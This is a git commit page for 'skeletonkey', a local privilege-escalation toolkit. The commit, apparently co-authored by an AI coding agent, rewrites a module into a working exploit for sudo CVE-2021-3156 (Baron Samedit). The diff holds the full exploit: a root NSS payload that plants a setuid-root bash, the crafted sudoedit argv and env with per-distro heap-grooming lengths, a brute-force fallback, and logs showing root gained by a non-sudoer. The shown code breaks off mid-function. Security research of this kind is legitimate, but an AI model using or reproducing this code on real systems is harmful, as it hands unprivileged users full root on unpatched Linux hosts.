sudo_samedit: working CVE-2021-3156 (Baron Samedit) exploit — lands real root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
The shipped module drove a structural sudoedit trigger with no heap-grooming offsets and honestly reported EXPLOIT_FAIL. Ported blasty's proven technique: the `sudoedit -s` set_cmnd() unescape overflow overwrites a glibc NSS service_user, so the subsequent NSS lookup dlopen's an attacker-planted libnss_X/'P0P_SH3LLZ_ .so.2' from CWD, whose constructor runs while sudo is still root. Implementation follows the corpus's runtime-compile pattern: build the NSS payload on the target (unique -DSK_PROOF/-DSK_ROOTBASH), lay out the libnss_X/ dir, exec sudoedit with the crafted argv (AAAA..\ / \ / BBBB..\) and env (null_stomp × "\\", "X/P0P_SH3LLZ_", padded LC_ALL) from that CWD, and verify root by stat()'ing the root-owned artifacts — never self-report. Grooming lengths are libc-family specific (Ubuntu 56/54/63/212, Debian 64/49/60/214); a null_stomp_len ±8 sweep (blasty brute.sh's axis) is the fallback for drift. Verified out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as uid 1000 (non-sudoer — the overflow precedes the sudoers/password check): `skeletonkey --exploit sudo_samedit` -> EXPLOIT_OK + a -rwsr-xr-x root:root bash, primary lengths landing first try. Gated on cc + sudoedit; cleanup() removes artifacts and the scratch build dir. Unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
+15
-1
@@ -30,6 +30,7 @@ tamper check).
|
||||
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 |
|
||||
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
|
||||
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
||||
|
||||
## Fixed this session
|
||||
|
||||
@@ -79,6 +80,19 @@ tamper check).
|
||||
was the last missing piece.
|
||||
Debugging was isolated by driving the exploit orchestration against the public
|
||||
PoC's `./fuse`, then swapping servers, then comparing `fops`.
|
||||
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
|
||||
userspace target, **rewritten and now lands real root** (uid=0 witnessed
|
||||
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
|
||||
non-sudoer). The shipped module drove a structural trigger with no offsets and
|
||||
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
|
||||
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
|
||||
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
|
||||
runs while sudo is still root. The module compiles the NSS payload on the target
|
||||
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
|
||||
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
|
||||
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
|
||||
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
|
||||
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
|
||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||
@@ -95,7 +109,7 @@ tamper check).
|
||||
| module | CVE | target tested | what's wrong |
|
||||
|---|---|---|---|
|
||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
|
||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. |
|
||||
| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
|
||||
|
||||
## Inconclusive (detect version-blind vs vendor backport)
|
||||
|
||||
|
||||
@@ -53,3 +53,4 @@
|
||||
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
||||
|
||||
@@ -1,34 +1,39 @@
|
||||
/*
|
||||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
||||
* STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
|
||||
* sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
|
||||
* unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
|
||||
* proof + setuid-root bash.
|
||||
*
|
||||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||||
* parser unescapes backslashes in the argv it copies into a heap
|
||||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
||||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
||||
* walks past the end of the argv string for arguments ending in a
|
||||
* lone backslash, copying adjacent stack/env contents into the
|
||||
* undersized heap buffer. The classic trigger is a single-argument
|
||||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
||||
* parser unescapes backslashes in the argv it copies into a heap buffer
|
||||
* in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
|
||||
* with an argument ending in a lone backslash, the unescape loop walks
|
||||
* past the end of the argv string, copying adjacent env contents into an
|
||||
* undersized heap buffer. The overflow is exploited (per blasty's PoC) to
|
||||
* overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
|
||||
* an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
|
||||
* constructor runs while sudo is still root.
|
||||
*
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
|
||||
* any local user (the overflow precedes the sudoers/password check).
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||||
* baron-samedit-heap-based-overflow-sudo.txt
|
||||
* PoC technique: github.com/blasty/CVE-2021-3156
|
||||
*
|
||||
* Detect: shell out to `sudo --version`, parse the printed version,
|
||||
* compare against the vulnerable range. We err on the side of
|
||||
* reporting OK only when we're confident — TEST_ERROR if the version
|
||||
* line is unparseable.
|
||||
* Detect: parse the sudo version (host fingerprint or `sudo --version`)
|
||||
* against the vulnerable range. Distro backports may patch without a
|
||||
* version bump, so a VULNERABLE verdict is "worth trying", confirmed only
|
||||
* by the exploit landing.
|
||||
*
|
||||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
||||
* The full chain in the original PoC required per-distro heap-layout
|
||||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
||||
* We do not have empirical landing on this host; we drive the
|
||||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
||||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
||||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
||||
* Exploit: blasty's heap-grooming lengths (per libc family) drive the
|
||||
* overflow; we compile the NSS payload on the target, run sudoedit with
|
||||
* the crafted argv/env from a CWD holding the payload, and confirm root
|
||||
* by stat()'ing the root-owned artifacts — never by self-report. If the
|
||||
* primary lengths miss (libc layout drift), we sweep null_stomp_len like
|
||||
* blasty's brute.sh until root or the range is exhausted.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -42,26 +47,13 @@
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <ctype.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- Affected-version logic ------------------------------------- */
|
||||
|
||||
/*
|
||||
* sudo version strings look like:
|
||||
* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.0"
|
||||
* "Sudo version 1.9.5p1"
|
||||
*
|
||||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
||||
* Fixed: 1.9.5p2 and later
|
||||
*
|
||||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
||||
* optional 'pN' suffix. Comparison is lexicographic over
|
||||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
||||
*/
|
||||
struct sudo_ver {
|
||||
int major;
|
||||
int minor;
|
||||
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
|
||||
v.major = maj;
|
||||
v.minor = min;
|
||||
v.patch = (n >= 3) ? pat : 0;
|
||||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
||||
const char *tail = s + consumed;
|
||||
if (*tail == 'p') {
|
||||
int p = 0;
|
||||
@@ -115,31 +106,22 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo",
|
||||
"/usr/local/bin/sudo",
|
||||
"/bin/sudo",
|
||||
"/sbin/sudo",
|
||||
"/usr/sbin/sudo",
|
||||
NULL,
|
||||
"/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/sbin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit",
|
||||
"/usr/local/bin/sudoedit",
|
||||
"/bin/sudoedit",
|
||||
"/sbin/sudoedit",
|
||||
"/usr/sbin/sudoedit",
|
||||
NULL,
|
||||
"/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
|
||||
"/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||||
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||
* at startup by core/host.c) — saves a popen per scan and gives
|
||||
* unit tests a clean mock point. Fall back to the local popen if
|
||||
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
||||
* a future refactor that disables userspace probing). */
|
||||
char line[256] = {0};
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
snprintf(line, sizeof line, "Sudo version %s",
|
||||
ctx->host->sudo_version);
|
||||
if (!ctx->json) {
|
||||
snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||||
"sudo version %s\n", ctx->host->sudo_version);
|
||||
}
|
||||
} else {
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||
}
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
/* Trim newline for nicer logging. */
|
||||
char *nl = strchr(line, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
struct sudo_ver v = parse_sudo_version(line);
|
||||
if (!v.parsed) {
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
bool vuln = sudo_version_vulnerable(&v);
|
||||
if (vuln) {
|
||||
if (!ctx->json) {
|
||||
if (sudo_version_vulnerable(&v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: version is in vulnerable range "
|
||||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||||
"[i] sudo_samedit: distro backports may have patched "
|
||||
"without bumping the upstream version; check\n"
|
||||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
||||
"for CVE-2021-3156.\n");
|
||||
}
|
||||
" `apt-cache policy sudo` for CVE-2021-3156.\n");
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[+] sudo_samedit: version is outside vulnerable range "
|
||||
"(fix 1.9.5p2+) — OK\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit ----------------------------------------------------- */
|
||||
/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
|
||||
|
||||
/*
|
||||
* Qualys-style trigger:
|
||||
*
|
||||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
||||
* stretch the heap chunk to the right size for the target overlap.
|
||||
*
|
||||
* The original PoC sprays hundreds of large argv slots and tunes the
|
||||
* tail bytes per-distro to hijack a `service_user *` struct in
|
||||
* libnss-files. Without distro fingerprinting and the corresponding
|
||||
* offset table that landing simply will not happen here; rather than
|
||||
* pretending otherwise we drive the bug, fork a verifier that checks
|
||||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
||||
*/
|
||||
/* NSS payload source, compiled on the target into
|
||||
* <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
|
||||
* is still root (the corrupted NSS lookup dlopen's it); it plants a
|
||||
* root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
|
||||
* passed at compile time (the process env is the exploit vector, so we
|
||||
* can't smuggle paths through it). */
|
||||
static const char samedit_payload_src[] =
|
||||
"#define _GNU_SOURCE\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"static void __attribute__((constructor)) _sk_init(void);\n"
|
||||
"static void _sk_init(void){\n"
|
||||
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
|
||||
" if (geteuid()!=0) return; /* brute miss — don't drop */\n"
|
||||
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||
" \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
|
||||
" \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
|
||||
" \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
|
||||
" _exit(0);\n"
|
||||
"}\n";
|
||||
|
||||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
||||
* to stay well under typical ARG_MAX while still exercising the bug
|
||||
* shape. */
|
||||
#define SUDO_SAMEDIT_ARGC 64
|
||||
#define SUDO_SAMEDIT_PADLEN 0xff
|
||||
/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
|
||||
* one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
|
||||
struct samedit_target {
|
||||
const char *name;
|
||||
int smash_a, smash_b, null_stomp, lc_all;
|
||||
};
|
||||
static const struct samedit_target samedit_ubuntu = {
|
||||
"Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
|
||||
};
|
||||
static const struct samedit_target samedit_debian = {
|
||||
"Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
|
||||
};
|
||||
|
||||
static const char *samedit_find_cc(void)
|
||||
{
|
||||
static const char *ccs[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; ccs[i]; i++)
|
||||
if (access(ccs[i], X_OK) == 0) return ccs[i];
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* fork/exec argv, redirect stdio away, wait with a timeout. */
|
||||
static int samedit_run(char *const argv[], const char *cwd, int secs)
|
||||
{
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
if (cwd && chdir(cwd) != 0) _exit(126);
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||
execv(argv[0], argv);
|
||||
_exit(127);
|
||||
}
|
||||
for (int i = 0; i < secs * 20; i++) {
|
||||
int st;
|
||||
pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) return 0;
|
||||
if (r < 0) return -1;
|
||||
usleep(50 * 1000);
|
||||
}
|
||||
kill(p, SIGKILL);
|
||||
waitpid(p, NULL, 0);
|
||||
return -2;
|
||||
}
|
||||
|
||||
/* Run one sudoedit attempt with the given grooming lengths; returns true
|
||||
* iff the OOB proof file now exists and is root-owned. */
|
||||
static bool samedit_try(const char *sudoedit, const char *workdir,
|
||||
int a, int b, int null_stomp, int lc_all,
|
||||
const char *proof)
|
||||
{
|
||||
unlink(proof);
|
||||
|
||||
char *smash_a = calloc(a + 2, 1);
|
||||
char *smash_b = calloc(b + 2, 1);
|
||||
char *lc = calloc(lc_all + 32, 1);
|
||||
if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||
memset(smash_a, 'A', a); smash_a[a] = '\\';
|
||||
memset(smash_b, 'B', b); smash_b[b] = '\\';
|
||||
strcpy(lc, "LC_ALL=C.UTF-8@");
|
||||
memset(lc + 15, 'C', lc_all);
|
||||
|
||||
char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
|
||||
(char *)"\\", smash_b, NULL };
|
||||
|
||||
/* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
|
||||
char **s_envp = calloc(null_stomp + 4, sizeof(char *));
|
||||
if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||
int pos = 0;
|
||||
for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
|
||||
s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
|
||||
s_envp[pos++] = lc;
|
||||
s_envp[pos++] = NULL;
|
||||
|
||||
/* We need a custom envp, so exec directly here in a child. */
|
||||
pid_t p = fork();
|
||||
if (p == 0) {
|
||||
if (chdir(workdir) != 0) _exit(126);
|
||||
int dn = open("/dev/null", O_RDWR);
|
||||
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||
execve(sudoedit, s_argv, s_envp);
|
||||
_exit(127);
|
||||
}
|
||||
if (p > 0) {
|
||||
for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */
|
||||
int st; pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) break;
|
||||
if (r < 0) break;
|
||||
usleep(50 * 1000);
|
||||
}
|
||||
int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
|
||||
}
|
||||
|
||||
free(smash_a); free(smash_b); free(lc); free(s_envp);
|
||||
|
||||
struct stat sb;
|
||||
return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
}
|
||||
|
||||
/* Remember what we planted / where, for cleanup(). */
|
||||
static char samedit_workdir[256];
|
||||
static char samedit_rootbash[256];
|
||||
static char samedit_proof[256];
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-detect before doing anything visible. Defends against the
|
||||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
||||
* between scan and pop. */
|
||||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||||
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
||||
|
||||
const char *sudoedit = find_sudoedit();
|
||||
if (!sudoedit) {
|
||||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
||||
const char *sudo = find_sudo();
|
||||
if (!sudo) {
|
||||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
||||
fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
sudoedit = sudo;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
||||
sudo);
|
||||
}
|
||||
const char *cc = samedit_find_cc();
|
||||
if (!cc) {
|
||||
fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
|
||||
"payload. Honest EXPLOIT_FAIL.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
||||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
||||
" Without that tuning the bug crashes sudo instead of\n"
|
||||
" handing back a shell. We will drive the trigger and\n"
|
||||
" verify uid==0 outcome empirically; on failure we report\n"
|
||||
" EXPLOIT_FAIL rather than claiming success.\n");
|
||||
}
|
||||
/* Pick the grooming length-set by libc family (distro proxy). */
|
||||
const struct samedit_target *tgt = &samedit_ubuntu;
|
||||
if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
|
||||
|
||||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
||||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
||||
*
|
||||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
||||
* On a vulnerable target this drives the unescape loop past the
|
||||
* end of the heap buffer. */
|
||||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
||||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
||||
memset(padbufs, 0, sizeof padbufs);
|
||||
/* Scratch workdir with the NSS payload dir. */
|
||||
char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
|
||||
char *wd = mkdtemp(tmpl);
|
||||
if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
|
||||
|
||||
argv[0] = (char *)"sudoedit";
|
||||
argv[1] = (char *)"-s";
|
||||
/* argv[2] is the canonical trailing-backslash trigger. */
|
||||
argv[2] = strdup("\\");
|
||||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
||||
long tag = (long)getpid();
|
||||
snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag);
|
||||
snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
|
||||
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
||||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
||||
if (!buf) {
|
||||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
||||
free(argv[2]);
|
||||
char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
|
||||
(void)log_unused;
|
||||
